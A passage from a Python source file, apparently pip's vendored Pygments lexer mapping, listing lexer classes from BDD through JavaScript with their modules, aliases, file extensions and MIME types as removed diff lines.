('application/x-dos-batch',)), - 'BddLexer': ('pip._vendor.pygments.lexers.bdd', 'Bdd', ('bdd',), ('*.feature',), ('text/x-bdd',)), - 'BefungeLexer': ('pip._vendor.pygments.lexers.esoteric', 'Befunge', ('befunge',), ('*.befunge',), ('application/x-befunge',)), - 'BerryLexer': ('pip._vendor.pygments.lexers.berry', 'Berry', ('berry', 'be'), ('*.be',), ('text/x-berry', 'application/x-berry')), - 'BibTeXLexer': ('pip._vendor.pygments.lexers.bibtex', 'BibTeX', ('bibtex', 'bib'), ('*.bib',), ('text/x-bibtex',)), - 'BlitzBasicLexer': ('pip._vendor.pygments.lexers.basic', 'BlitzBasic', ('blitzbasic', 'b3d', 'bplus'), ('*.bb', '*.decls'), ('text/x-bb',)), - 'BlitzMaxLexer': ('pip._vendor.pygments.lexers.basic', 'BlitzMax', ('blitzmax', 'bmax'), ('*.bmx',), ('text/x-bmx',)), - 'BlueprintLexer': ('pip._vendor.pygments.lexers.blueprint', 'Blueprint', ('blueprint',), ('*.blp',), ('text/x-blueprint',)), - 'BnfLexer': ('pip._vendor.pygments.lexers.grammar_notation', 'BNF', ('bnf',), ('*.bnf',), ('text/x-bnf',)), - 'BoaLexer': ('pip._vendor.pygments.lexers.boa', 'Boa', ('boa',), ('*.boa',), ()), - 'BooLexer': ('pip._vendor.pygments.lexers.dotnet', 'Boo', ('boo',), ('*.boo',), ('text/x-boo',)), - 'BoogieLexer': ('pip._vendor.pygments.lexers.verification', 'Boogie', ('boogie',), ('*.bpl',), ()), - 'BrainfuckLexer': ('pip._vendor.pygments.lexers.esoteric', 'Brainfuck', ('brainfuck', 'bf'), ('*.bf', '*.b'), ('application/x-brainfuck',)), - 'BugsLexer': ('pip._vendor.pygments.lexers.modeling', 'BUGS', ('bugs', 'winbugs', 'openbugs'), ('*.bug',), ()), - 'CAmkESLexer': ('pip._vendor.pygments.lexers.esoteric', 'CAmkES', ('camkes', 'idl4'), ('*.camkes', '*.idl4'), ()), - 'CLexer': ('pip._vendor.pygments.lexers.c_cpp', 'C', ('c',), ('*.c', '*.h', '*.idc', '*.x[bp]m'), ('text/x-chdr', 'text/x-csrc', 'image/x-xbitmap', 'image/x-xpixmap')), - 'CMakeLexer': ('pip._vendor.pygments.lexers.make', 'CMake', ('cmake',), ('*.cmake', 'CMakeLists.txt'), ('text/x-cmake',)), - 'CObjdumpLexer': ('pip._vendor.pygments.lexers.asm', 'c-objdump', ('c-objdump',), ('*.c-objdump',), ('text/x-c-objdump',)), - 'CPSALexer': ('pip._vendor.pygments.lexers.lisp', 'CPSA', ('cpsa',), ('*.cpsa',), ()), - 'CSSUL4Lexer': ('pip._vendor.pygments.lexers.ul4', 'CSS+UL4', ('css+ul4',), ('*.cssul4',), ()), - 'CSharpAspxLexer': ('pip._vendor.pygments.lexers.dotnet', 'aspx-cs', ('aspx-cs',), ('*.aspx', '*.asax', '*.ascx', '*.ashx', '*.asmx', '*.axd'), ()), - 'CSharpLexer': ('pip._vendor.pygments.lexers.dotnet', 'C#', ('csharp', 'c#', 'cs'), ('*.cs',), ('text/x-csharp',)), - 'Ca65Lexer': ('pip._vendor.pygments.lexers.asm', 'ca65 assembler', ('ca65',), ('*.s',), ()), - 'CadlLexer': ('pip._vendor.pygments.lexers.archetype', 'cADL', ('cadl',), ('*.cadl',), ()), - 'CapDLLexer': ('pip._vendor.pygments.lexers.esoteric', 'CapDL', ('capdl',), ('*.cdl',), ()), - 'CapnProtoLexer': ('pip._vendor.pygments.lexers.capnproto', "Cap'n Proto", ('capnp',), ('*.capnp',), ()), - 'CarbonLexer': ('pip._vendor.pygments.lexers.carbon', 'Carbon', ('carbon',), ('*.carbon',), ('text/x-carbon',)), - 'CbmBasicV2Lexer': ('pip._vendor.pygments.lexers.basic', 'CBM BASIC V2', ('cbmbas',), ('*.bas',), ()), - 'CddlLexer': ('pip._vendor.pygments.lexers.cddl', 'CDDL', ('cddl',), ('*.cddl',), ('text/x-cddl',)), - 'CeylonLexer': ('pip._vendor.pygments.lexers.jvm', 'Ceylon', ('ceylon',), ('*.ceylon',), ('text/x-ceylon',)), - 'Cfengine3Lexer': ('pip._vendor.pygments.lexers.configs', 'CFEngine3', ('cfengine3', 'cf3'), ('*.cf',), ()), - 'ChaiscriptLexer': ('pip._vendor.pygments.lexers.scripting', 'ChaiScript', ('chaiscript', 'chai'), ('*.chai',), ('text/x-chaiscript', 'application/x-chaiscript')), - 'ChapelLexer': ('pip._vendor.pygments.lexers.chapel', 'Chapel', ('chapel', 'chpl'), ('*.chpl',), ()), - 'CharmciLexer': ('pip._vendor.pygments.lexers.c_like', 'Charmci', ('charmci',), ('*.ci',), ()), - 'CheetahHtmlLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Cheetah', ('html+cheetah', 'html+spitfire', 'htmlcheetah'), (), ('text/html+cheetah', 'text/html+spitfire')), - 'CheetahJavascriptLexer': ('pip._vendor.pygments.lexers.templates', 'JavaScript+Cheetah', ('javascript+cheetah', 'js+cheetah', 'javascript+spitfire', 'js+spitfire'), (), ('application/x-javascript+cheetah', 'text/x-javascript+cheetah', 'text/javascript+cheetah', 'application/x-javascript+spitfire', 'text/x-javascript+spitfire', 'text/javascript+spitfire')), - 'CheetahLexer': ('pip._vendor.pygments.lexers.templates', 'Cheetah', ('cheetah', 'spitfire'), ('*.tmpl', '*.spt'), ('application/x-cheetah', 'application/x-spitfire')), - 'CheetahXmlLexer': ('pip._vendor.pygments.lexers.templates', 'XML+Cheetah', ('xml+cheetah', 'xml+spitfire'), (), ('application/xml+cheetah', 'application/xml+spitfire')), - 'CirruLexer': ('pip._vendor.pygments.lexers.webmisc', 'Cirru', ('cirru',), ('*.cirru',), ('text/x-cirru',)), - 'ClayLexer': ('pip._vendor.pygments.lexers.c_like', 'Clay', ('clay',), ('*.clay',), ('text/x-clay',)), - 'CleanLexer': ('pip._vendor.pygments.lexers.clean', 'Clean', ('clean',), ('*.icl', '*.dcl'), ()), - 'ClojureLexer': ('pip._vendor.pygments.lexers.jvm', 'Clojure', ('clojure', 'clj'), ('*.clj', '*.cljc'), ('text/x-clojure', 'application/x-clojure')), - 'ClojureScriptLexer': ('pip._vendor.pygments.lexers.jvm', 'ClojureScript', ('clojurescript', 'cljs'), ('*.cljs',), ('text/x-clojurescript', 'application/x-clojurescript')), - 'CobolFreeformatLexer': ('pip._vendor.pygments.lexers.business', 'COBOLFree', ('cobolfree',), ('*.cbl', '*.CBL'), ()), - 'CobolLexer': ('pip._vendor.pygments.lexers.business', 'COBOL', ('cobol',), ('*.cob', '*.COB', '*.cpy', '*.CPY'), ('text/x-cobol',)), - 'CodeQLLexer': ('pip._vendor.pygments.lexers.codeql', 'CodeQL', ('codeql', 'ql'), ('*.ql', '*.qll'), ()), - 'CoffeeScriptLexer': ('pip._vendor.pygments.lexers.javascript', 'CoffeeScript', ('coffeescript', 'coffee-script', 'coffee'), ('*.coffee',), ('text/coffeescript',)), - 'ColdfusionCFCLexer': ('pip._vendor.pygments.lexers.templates', 'Coldfusion CFC', ('cfc',), ('*.cfc',), ()), - 'ColdfusionHtmlLexer': ('pip._vendor.pygments.lexers.templates', 'Coldfusion HTML', ('cfm',), ('*.cfm', '*.cfml'), ('application/x-coldfusion',)), - 'ColdfusionLexer': ('pip._vendor.pygments.lexers.templates', 'cfstatement', ('cfs',), (), ()), - 'Comal80Lexer': ('pip._vendor.pygments.lexers.comal', 'COMAL-80', ('comal', 'comal80'), ('*.cml', '*.comal'), ()), - 'CommonLispLexer': ('pip._vendor.pygments.lexers.lisp', 'Common Lisp', ('common-lisp', 'cl', 'lisp'), ('*.cl', '*.lisp'), ('text/x-common-lisp',)), - 'ComponentPascalLexer': ('pip._vendor.pygments.lexers.oberon', 'Component Pascal', ('componentpascal', 'cp'), ('*.cp', '*.cps'), ('text/x-component-pascal',)), - 'CplintLexer': ('pip._vendor.pygments.lexers.cplint', 'cplint', ('cplint',), ('*.ecl', '*.prolog', '*.pro', '*.pl', '*.P', '*.lpad', '*.cpl'), ('text/x-cplint',)), - 'CppLexer': ('pip._vendor.pygments.lexers.c_cpp', 'C++', ('cpp', 'c++'), ('*.cpp', '*.hpp', '*.c++', '*.h++', '*.cc', '*.hh', '*.cxx', '*.hxx', '*.C', '*.H', '*.cp', '*.CPP', '*.tpp', '*.cppm', '*.ixx', '*.mxx'), ('text/x-c++hdr', 'text/x-c++src')), - 'CppObjdumpLexer': ('pip._vendor.pygments.lexers.asm', 'cpp-objdump', ('cpp-objdump', 'c++-objdumb', 'cxx-objdump'), ('*.cpp-objdump', '*.c++-objdump', '*.cxx-objdump'), ('text/x-cpp-objdump',)), - 'CrmshLexer': ('pip._vendor.pygments.lexers.dsls', 'Crmsh', ('crmsh', 'pcmk'), ('*.crmsh', '*.pcmk'), ()), - 'CrocLexer': ('pip._vendor.pygments.lexers.d', 'Croc', ('croc',), ('*.croc',), ('text/x-crocsrc',)), - 'CryptolLexer': ('pip._vendor.pygments.lexers.haskell', 'Cryptol', ('cryptol', 'cry'), ('*.cry',), ('text/x-cryptol',)), - 'CrystalLexer': ('pip._vendor.pygments.lexers.crystal', 'Crystal', ('cr', 'crystal'), ('*.cr',), ('text/x-crystal',)), - 'CsoundDocumentLexer': ('pip._vendor.pygments.lexers.csound', 'Csound Document', ('csound-document', 'csound-csd'), ('*.csd',), ()), - 'CsoundOrchestraLexer': ('pip._vendor.pygments.lexers.csound', 'Csound Orchestra', ('csound', 'csound-orc'), ('*.orc', '*.udo'), ()), - 'CsoundScoreLexer': ('pip._vendor.pygments.lexers.csound', 'Csound Score', ('csound-score', 'csound-sco'), ('*.sco',), ()), - 'CssDjangoLexer': ('pip._vendor.pygments.lexers.templates', 'CSS+Django/Jinja', ('css+django', 'css+jinja'), ('*.css.j2', '*.css.jinja2'), ('text/css+django', 'text/css+jinja')), - 'CssErbLexer': ('pip._vendor.pygments.lexers.templates', 'CSS+Ruby', ('css+ruby', 'css+erb'), (), ('text/css+ruby',)), - 'CssGenshiLexer': ('pip._vendor.pygments.lexers.templates', 'CSS+Genshi Text', ('css+genshitext', 'css+genshi'), (), ('text/css+genshi',)), - 'CssLexer': ('pip._vendor.pygments.lexers.css', 'CSS', ('css',), ('*.css',), ('text/css',)), - 'CssPhpLexer': ('pip._vendor.pygments.lexers.templates', 'CSS+PHP', ('css+php',), (), ('text/css+php',)), - 'CssSmartyLexer': ('pip._vendor.pygments.lexers.templates', 'CSS+Smarty', ('css+smarty',), (), ('text/css+smarty',)), - 'CudaLexer': ('pip._vendor.pygments.lexers.c_like', 'CUDA', ('cuda', 'cu'), ('*.cu', '*.cuh'), ('text/x-cuda',)), - 'CypherLexer': ('pip._vendor.pygments.lexers.graph', 'Cypher', ('cypher',), ('*.cyp', '*.cypher'), ()), - 'CythonLexer': ('pip._vendor.pygments.lexers.python', 'Cython', ('cython', 'pyx', 'pyrex'), ('*.pyx', '*.pxd', '*.pxi'), ('text/x-cython', 'application/x-cython')), - 'DLexer': ('pip._vendor.pygments.lexers.d', 'D', ('d',), ('*.d', '*.di'), ('text/x-dsrc',)), - 'DObjdumpLexer': ('pip._vendor.pygments.lexers.asm', 'd-objdump', ('d-objdump',), ('*.d-objdump',), ('text/x-d-objdump',)), - 'DarcsPatchLexer': ('pip._vendor.pygments.lexers.diff', 'Darcs Patch', ('dpatch',), ('*.dpatch', '*.darcspatch'), ()), - 'DartLexer': ('pip._vendor.pygments.lexers.javascript', 'Dart', ('dart',), ('*.dart',), ('text/x-dart',)), - 'Dasm16Lexer': ('pip._vendor.pygments.lexers.asm', 'DASM16', ('dasm16',), ('*.dasm16', '*.dasm'), ('text/x-dasm16',)), - 'DaxLexer': ('pip._vendor.pygments.lexers.dax', 'Dax', ('dax',), ('*.dax',), ()), - 'DebianControlLexer': ('pip._vendor.pygments.lexers.installers', 'Debian Control file', ('debcontrol', 'control'), ('control',), ()), - 'DebianSourcesLexer': ('pip._vendor.pygments.lexers.installers', 'Debian Sources file', ('debian.sources',), ('*.sources',), ()), - 'DelphiLexer': ('pip._vendor.pygments.lexers.pascal', 'Delphi', ('delphi', 'pas', 'pascal', 'objectpascal'), ('*.pas', '*.dpr'), ('text/x-pascal',)), - 'DesktopLexer': ('pip._vendor.pygments.lexers.configs', 'Desktop file', ('desktop',), ('*.desktop',), ('application/x-desktop',)), - 'DevicetreeLexer': ('pip._vendor.pygments.lexers.devicetree', 'Devicetree', ('devicetree', 'dts'), ('*.dts', '*.dtsi'), ('text/x-c',)), - 'DgLexer': ('pip._vendor.pygments.lexers.python', 'dg', ('dg',), ('*.dg',), ('text/x-dg',)), - 'DiffLexer': ('pip._vendor.pygments.lexers.diff', 'Diff', ('diff', 'udiff'), ('*.diff', '*.patch'), ('text/x-diff', 'text/x-patch')), - 'DjangoLexer': ('pip._vendor.pygments.lexers.templates', 'Django/Jinja', ('django', 'jinja'), (), ('application/x-django-templating', 'application/x-jinja')), - 'DnsZoneLexer': ('pip._vendor.pygments.lexers.dns', 'Zone', ('zone',), ('*.zone',), ('text/dns',)), - 'DockerLexer': ('pip._vendor.pygments.lexers.configs', 'Docker', ('docker', 'dockerfile'), ('Dockerfile', '*.docker'), ('text/x-dockerfile-config',)), - 'DtdLexer': ('pip._vendor.pygments.lexers.html', 'DTD', ('dtd',), ('*.dtd',), ('application/xml-dtd',)), - 'DuelLexer': ('pip._vendor.pygments.lexers.webmisc', 'Duel', ('duel', 'jbst', 'jsonml+bst'), ('*.duel', '*.jbst'), ('text/x-duel', 'text/x-jbst')), - 'DylanConsoleLexer': ('pip._vendor.pygments.lexers.dylan', 'Dylan session', ('dylan-console', 'dylan-repl'), ('*.dylan-console',), ('text/x-dylan-console',)), - 'DylanLexer': ('pip._vendor.pygments.lexers.dylan', 'Dylan', ('dylan',), ('*.dylan', '*.dyl', '*.intr'), ('text/x-dylan',)), - 'DylanLidLexer': ('pip._vendor.pygments.lexers.dylan', 'DylanLID', ('dylan-lid', 'lid'), ('*.lid', '*.hdp'), ('text/x-dylan-lid',)), - 'ECLLexer': ('pip._vendor.pygments.lexers.ecl', 'ECL', ('ecl',), ('*.ecl',), ('application/x-ecl',)), - 'ECLexer': ('pip._vendor.pygments.lexers.c_like', 'eC', ('ec',), ('*.ec', '*.eh'), ('text/x-echdr', 'text/x-ecsrc')), - 'EarlGreyLexer': ('pip._vendor.pygments.lexers.javascript', 'Earl Grey', ('earl-grey', 'earlgrey', 'eg'), ('*.eg',), ('text/x-earl-grey',)), - 'EasytrieveLexer': ('pip._vendor.pygments.lexers.scripting', 'Easytrieve', ('easytrieve',), ('*.ezt', '*.mac'), ('text/x-easytrieve',)), - 'EbnfLexer': ('pip._vendor.pygments.lexers.parsers', 'EBNF', ('ebnf',), ('*.ebnf',), ('text/x-ebnf',)), - 'EiffelLexer': ('pip._vendor.pygments.lexers.eiffel', 'Eiffel', ('eiffel',), ('*.e',), ('text/x-eiffel',)), - 'ElixirConsoleLexer': ('pip._vendor.pygments.lexers.erlang', 'Elixir iex session', ('iex',), (), ('text/x-elixir-shellsession',)), - 'ElixirLexer': ('pip._vendor.pygments.lexers.erlang', 'Elixir', ('elixir', 'ex', 'exs'), ('*.ex', '*.eex', '*.exs', '*.leex'), ('text/x-elixir',)), - 'ElmLexer': ('pip._vendor.pygments.lexers.elm', 'Elm', ('elm',), ('*.elm',), ('text/x-elm',)), - 'ElpiLexer': ('pip._vendor.pygments.lexers.elpi', 'Elpi', ('elpi',), ('*.elpi',), ('text/x-elpi',)), - 'EmacsLispLexer': ('pip._vendor.pygments.lexers.lisp', 'EmacsLisp', ('emacs-lisp', 'elisp', 'emacs'), ('*.el',), ('text/x-elisp', 'application/x-elisp')), - 'EmailLexer': ('pip._vendor.pygments.lexers.email', 'E-mail', ('email', 'eml'), ('*.eml',), ('message/rfc822',)), - 'ErbLexer': ('pip._vendor.pygments.lexers.templates', 'ERB', ('erb',), (), ('application/x-ruby-templating',)), - 'ErlangLexer': ('pip._vendor.pygments.lexers.erlang', 'Erlang', ('erlang',), ('*.erl', '*.hrl', '*.es', '*.escript'), ('text/x-erlang',)), - 'ErlangShellLexer': ('pip._vendor.pygments.lexers.erlang', 'Erlang erl session', ('erl',), ('*.erl-sh',), ('text/x-erl-shellsession',)), - 'EvoqueHtmlLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Evoque', ('html+evoque',), (), ('text/html+evoque',)), - 'EvoqueLexer': ('pip._vendor.pygments.lexers.templates', 'Evoque', ('evoque',), ('*.evoque',), ('application/x-evoque',)), - 'EvoqueXmlLexer': ('pip._vendor.pygments.lexers.templates', 'XML+Evoque', ('xml+evoque',), (), ('application/xml+evoque',)), - 'ExeclineLexer': ('pip._vendor.pygments.lexers.shell', 'execline', ('execline',), ('*.exec',), ()), - 'EzhilLexer': ('pip._vendor.pygments.lexers.ezhil', 'Ezhil', ('ezhil',), ('*.n',), ('text/x-ezhil',)), - 'FSharpLexer': ('pip._vendor.pygments.lexers.dotnet', 'F#', ('fsharp', 'f#'), ('*.fs', '*.fsi', '*.fsx'), ('text/x-fsharp',)), - 'FStarLexer': ('pip._vendor.pygments.lexers.ml', 'FStar', ('fstar',), ('*.fst', '*.fsti'), ('text/x-fstar',)), - 'FactorLexer': ('pip._vendor.pygments.lexers.factor', 'Factor', ('factor',), ('*.factor',), ('text/x-factor',)), - 'FancyLexer': ('pip._vendor.pygments.lexers.ruby', 'Fancy', ('fancy', 'fy'), ('*.fy', '*.fancypack'), ('text/x-fancysrc',)), - 'FantomLexer': ('pip._vendor.pygments.lexers.fantom', 'Fantom', ('fan',), ('*.fan',), ('application/x-fantom',)), - 'FelixLexer': ('pip._vendor.pygments.lexers.felix', 'Felix', ('felix', 'flx'), ('*.flx', '*.flxh'), ('text/x-felix',)), - 'FennelLexer': ('pip._vendor.pygments.lexers.lisp', 'Fennel', ('fennel', 'fnl'), ('*.fnl', '*.fnlm'), ('text/x-fennel',)), - 'FiftLexer': ('pip._vendor.pygments.lexers.fift', 'Fift', ('fift', 'fif'), ('*.fif',), ()), - 'FishShellLexer': ('pip._vendor.pygments.lexers.shell', 'Fish', ('fish', 'fishshell'), ('*.fish', '*.load'), ('application/x-fish',)), - 'FlatlineLexer': ('pip._vendor.pygments.lexers.dsls', 'Flatline', ('flatline',), (), ('text/x-flatline',)), - 'FloScriptLexer': ('pip._vendor.pygments.lexers.floscript', 'FloScript', ('floscript', 'flo'), ('*.flo',), ()), - 'ForthLexer': ('pip._vendor.pygments.lexers.forth', 'Forth', ('forth',), ('*.frt', '*.fs'), ('application/x-forth',)), - 'FortranFixedLexer': ('pip._vendor.pygments.lexers.fortran', 'FortranFixed', ('fortranfixed',), ('*.f', '*.F'), ()), - 'FortranLexer': ('pip._vendor.pygments.lexers.fortran', 'Fortran', ('fortran', 'f90'), ('*.f03', '*.f90', '*.F03', '*.F90'), ('text/x-fortran',)), - 'FoxProLexer': ('pip._vendor.pygments.lexers.foxpro', 'FoxPro', ('foxpro', 'vfp', 'clipper', 'xbase'), ('*.PRG', '*.prg'), ()), - 'FreeFemLexer': ('pip._vendor.pygments.lexers.freefem', 'Freefem', ('freefem',), ('*.edp',), ('text/x-freefem',)), - 'FuncLexer': ('pip._vendor.pygments.lexers.func', 'FunC', ('func', 'fc'), ('*.fc', '*.func'), ()), - 'FutharkLexer': ('pip._vendor.pygments.lexers.futhark', 'Futhark', ('futhark',), ('*.fut',), ('text/x-futhark',)), - 'GAPConsoleLexer': ('pip._vendor.pygments.lexers.algebra', 'GAP session', ('gap-console', 'gap-repl'), ('*.tst',), ()), - 'GAPLexer': ('pip._vendor.pygments.lexers.algebra', 'GAP', ('gap',), ('*.g', '*.gd', '*.gi', '*.gap'), ()), - 'GDScriptLexer': ('pip._vendor.pygments.lexers.gdscript', 'GDScript', ('gdscript', 'gd'), ('*.gd',), ('text/x-gdscript', 'application/x-gdscript')), - 'GLShaderLexer': ('pip._vendor.pygments.lexers.graphics', 'GLSL', ('glsl',), ('*.vert', '*.frag', '*.geo'), ('text/x-glslsrc',)), - 'GSQLLexer': ('pip._vendor.pygments.lexers.gsql', 'GSQL', ('gsql',), ('*.gsql',), ()), - 'GasLexer': ('pip._vendor.pygments.lexers.asm', 'GAS', ('gas', 'asm'), ('*.s', '*.S'), ('text/x-gas',)), - 'GcodeLexer': ('pip._vendor.pygments.lexers.gcodelexer', 'g-code', ('gcode',), ('*.gcode',), ()), - 'GenshiLexer': ('pip._vendor.pygments.lexers.templates', 'Genshi', ('genshi', 'kid', 'xml+genshi', 'xml+kid'), ('*.kid',), ('application/x-genshi', 'application/x-kid')), - 'GenshiTextLexer': ('pip._vendor.pygments.lexers.templates', 'Genshi Text', ('genshitext',), (), ('application/x-genshi-text', 'text/x-genshi')), - 'GettextLexer': ('pip._vendor.pygments.lexers.textfmts', 'Gettext Catalog', ('pot', 'po'), ('*.pot', '*.po'), ('application/x-gettext', 'text/x-gettext', 'text/gettext')), - 'GherkinLexer': ('pip._vendor.pygments.lexers.testing', 'Gherkin', ('gherkin', 'cucumber'), ('*.feature',), ('text/x-gherkin',)), - 'GleamLexer': ('pip._vendor.pygments.lexers.gleam', 'Gleam', ('gleam',), ('*.gleam',), ('text/x-gleam',)), - 'GnuplotLexer': ('pip._vendor.pygments.lexers.graphics', 'Gnuplot', ('gnuplot',), ('*.plot', '*.plt'), ('text/x-gnuplot',)), - 'GoLexer': ('pip._vendor.pygments.lexers.go', 'Go', ('go', 'golang'), ('*.go',), ('text/x-gosrc',)), - 'GoloLexer': ('pip._vendor.pygments.lexers.jvm', 'Golo', ('golo',), ('*.golo',), ()), - 'GoodDataCLLexer': ('pip._vendor.pygments.lexers.business', 'GoodData-CL', ('gooddata-cl',), ('*.gdc',), ('text/x-gooddata-cl',)), - 'GoogleSqlLexer': ('pip._vendor.pygments.lexers.sql', 'GoogleSQL', ('googlesql', 'zetasql'), ('*.googlesql', '*.googlesql.sql'), ('text/x-google-sql', 'text/x-google-sql-aux')), - 'GosuLexer': ('pip._vendor.pygments.lexers.jvm', 'Gosu', ('gosu',), ('*.gs', '*.gsx', '*.gsp', '*.vark'), ('text/x-gosu',)), - 'GosuTemplateLexer': ('pip._vendor.pygments.lexers.jvm', 'Gosu Template', ('gst',), ('*.gst',), ('text/x-gosu-template',)), - 'GraphQLLexer': ('pip._vendor.pygments.lexers.graphql', 'GraphQL', ('graphql',), ('*.graphql',), ()), - 'GraphvizLexer': ('pip._vendor.pygments.lexers.graphviz', 'Graphviz', ('graphviz', 'dot'), ('*.gv', '*.dot'), ('text/x-graphviz', 'text/vnd.graphviz')), - 'GroffLexer': ('pip._vendor.pygments.lexers.markup', 'Groff', ('groff', 'nroff', 'man'), ('*.[1-9]', '*.man', '*.1p', '*.3pm'), ('application/x-troff', 'text/troff')), - 'GroovyLexer': ('pip._vendor.pygments.lexers.jvm', 'Groovy', ('groovy',), ('*.groovy', '*.gradle'), ('text/x-groovy',)), - 'HLSLShaderLexer': ('pip._vendor.pygments.lexers.graphics', 'HLSL', ('hlsl',), ('*.hlsl', '*.hlsli'), ('text/x-hlsl',)), - 'HTMLUL4Lexer': ('pip._vendor.pygments.lexers.ul4', 'HTML+UL4', ('html+ul4',), ('*.htmlul4',), ()), - 'HamlLexer': ('pip._vendor.pygments.lexers.html', 'Haml', ('haml',), ('*.haml',), ('text/x-haml',)), - 'HandlebarsHtmlLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Handlebars', ('html+handlebars',), ('*.handlebars', '*.hbs'), ('text/html+handlebars', 'text/x-handlebars-template')), - 'HandlebarsLexer': ('pip._vendor.pygments.lexers.templates', 'Handlebars', ('handlebars',), (), ()), - 'HareLexer': ('pip._vendor.pygments.lexers.hare', 'Hare', ('hare',), ('*.ha',), ('text/x-hare',)), - 'HaskellLexer': ('pip._vendor.pygments.lexers.haskell', 'Haskell', ('haskell', 'hs'), ('*.hs',), ('text/x-haskell',)), - 'HaxeLexer': ('pip._vendor.pygments.lexers.haxe', 'Haxe', ('haxe', 'hxsl', 'hx'), ('*.hx', '*.hxsl'), ('text/haxe', 'text/x-haxe', 'text/x-hx')), - 'HexdumpLexer': ('pip._vendor.pygments.lexers.hexdump', 'Hexdump', ('hexdump',), (), ()), - 'HsailLexer': ('pip._vendor.pygments.lexers.asm', 'HSAIL', ('hsail', 'hsa'), ('*.hsail',), ('text/x-hsail',)), - 'HspecLexer': ('pip._vendor.pygments.lexers.haskell', 'Hspec', ('hspec',), ('*Spec.hs',), ()), - 'HtmlDjangoLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Django/Jinja', ('html+django', 'html+jinja', 'htmldjango'), ('*.html.j2', '*.htm.j2', '*.xhtml.j2', '*.html.jinja2', '*.htm.jinja2', '*.xhtml.jinja2'), ('text/html+django', 'text/html+jinja')), - 'HtmlGenshiLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Genshi', ('html+genshi', 'html+kid'), (), ('text/html+genshi',)), - 'HtmlLexer': ('pip._vendor.pygments.lexers.html', 'HTML', ('html',), ('*.html', '*.htm', '*.xhtml', '*.xslt'), ('text/html', 'application/xhtml+xml')), - 'HtmlPhpLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+PHP', ('html+php',), ('*.phtml',), ('application/x-php', 'application/x-httpd-php', 'application/x-httpd-php3', 'application/x-httpd-php4', 'application/x-httpd-php5')), - 'HtmlSmartyLexer': ('pip._vendor.pygments.lexers.templates', 'HTML+Smarty', ('html+smarty',), (), ('text/html+smarty',)), - 'HttpLexer': ('pip._vendor.pygments.lexers.textfmts', 'HTTP', ('http',), (), ()), - 'HxmlLexer': ('pip._vendor.pygments.lexers.haxe', 'Hxml', ('haxeml', 'hxml'), ('*.hxml',), ()), - 'HyLexer': ('pip._vendor.pygments.lexers.lisp', 'Hy', ('hylang', 'hy'), ('*.hy',), ('text/x-hy', 'application/x-hy')), - 'HybrisLexer': ('pip._vendor.pygments.lexers.scripting', 'Hybris', ('hybris',), ('*.hyb',), ('text/x-hybris', 'application/x-hybris')), - 'IDLLexer': ('pip._vendor.pygments.lexers.idl', 'IDL', ('idl',), ('*.pro',), ('text/idl',)), - 'IconLexer': ('pip._vendor.pygments.lexers.unicon', 'Icon', ('icon',), ('*.icon', '*.ICON'), ()), - 'IdrisLexer': ('pip._vendor.pygments.lexers.haskell', 'Idris', ('idris', 'idr'), ('*.idr',), ('text/x-idris',)), - 'IgorLexer': ('pip._vendor.pygments.lexers.igor', 'Igor', ('igor', 'igorpro'), ('*.ipf',), ('text/ipf',)), - 'Inform6Lexer': ('pip._vendor.pygments.lexers.int_fiction', 'Inform 6', ('inform6', 'i6'), ('*.inf',), ()), - 'Inform6TemplateLexer': ('pip._vendor.pygments.lexers.int_fiction', 'Inform 6 template', ('i6t',), ('*.i6t',), ()), - 'Inform7Lexer': ('pip._vendor.pygments.lexers.int_fiction', 'Inform 7', ('inform7', 'i7'), ('*.ni', '*.i7x'), ()), - 'IniLexer': ('pip._vendor.pygments.lexers.configs', 'INI', ('ini', 'cfg', 'dosini'), ('*.ini', '*.cfg', '*.inf', '.editorconfig'), ('text/x-ini', 'text/inf')), - 'IoLexer': ('pip._vendor.pygments.lexers.iolang', 'Io', ('io',), ('*.io',), ('text/x-iosrc',)), - 'IokeLexer': ('pip._vendor.pygments.lexers.jvm', 'Ioke', ('ioke', 'ik'), ('*.ik',), ('text/x-iokesrc',)), - 'IrcLogsLexer': ('pip._vendor.pygments.lexers.textfmts', 'IRC logs', ('irc',), ('*.weechatlog',), ('text/x-irclog',)), - 'IsabelleLexer': ('pip._vendor.pygments.lexers.theorem', 'Isabelle', ('isabelle',), ('*.thy',), ('text/x-isabelle',)), - 'JLexer': ('pip._vendor.pygments.lexers.j', 'J', ('j',), ('*.ijs',), ('text/x-j',)), - 'JMESPathLexer': ('pip._vendor.pygments.lexers.jmespath', 'JMESPath', ('jmespath', 'jp'), ('*.jp',), ()), - 'JSLTLexer': ('pip._vendor.pygments.lexers.jslt', 'JSLT', ('jslt',), ('*.jslt',), ('text/x-jslt',)), - 'JagsLexer': ('pip._vendor.pygments.lexers.modeling', 'JAGS', ('jags',), ('*.jag', '*.bug'), ()), - 'JanetLexer': ('pip._vendor.pygments.lexers.lisp', 'Janet', ('janet',), ('*.janet', '*.jdn'), ('text/x-janet', 'application/x-janet')), - 'JasminLexer': ('pip._vendor.pygments.lexers.jvm', 'Jasmin', ('jasmin', 'jasminxt'), ('*.j',), ()), - 'JavaLexer': ('pip._vendor.pygments.lexers.jvm', 'Java', ('java',), ('*.java',), ('text/x-java',)), - 'JavascriptDjangoLexer': ('pip._vendor.pygments.lexers.templates', 'JavaScript+Django/Jinja', ('javascript+django', 'js+django', 'javascript+jinja', 'js+jinja'), ('*.js.j2', '*.js.jinja2'), ('application/x-javascript+django', 'application/x-javascript+jinja', 'text/x-javascript+django', 'text/x-javascript+jinja', 'text/javascript+django', 'text/javascript+jinja')), - 'JavascriptErbLexer': ('pip._vendor.pygments.lexers.templates', 'JavaScript+Ruby', ('javascript+ruby', 'js+ruby', 'javascript+erb', 'js+erb'), (), ('application/x-javascript+ruby', 'text/x-javascript+ruby', 'text/javascript+ruby')), - 'JavascriptGenshiLexer': ('pip._vendor.pygments.lexers.templates', 'JavaScript+Genshi Text', ('js+genshitext', 'js+genshi', 'javascript+genshitext', 'javascript+genshi'), (), ('application/x-javascript+genshi', 'text/x-javascript+genshi', 'text/javascript+genshi')), - 'JavascriptLexer': ('pip._vendor.pygments.lexers.javascript', 'JavaScript', ('javascript', 'js'), ('*.js', '*.jsm', '*.mjs', '*.cjs'), ('application/javascript', 'application/x-javascript', 'text/x-javascript', 'text/javascript')), - 'JavascriptPhpLexer': ('pip._vendor.pygments.lexers.templates', 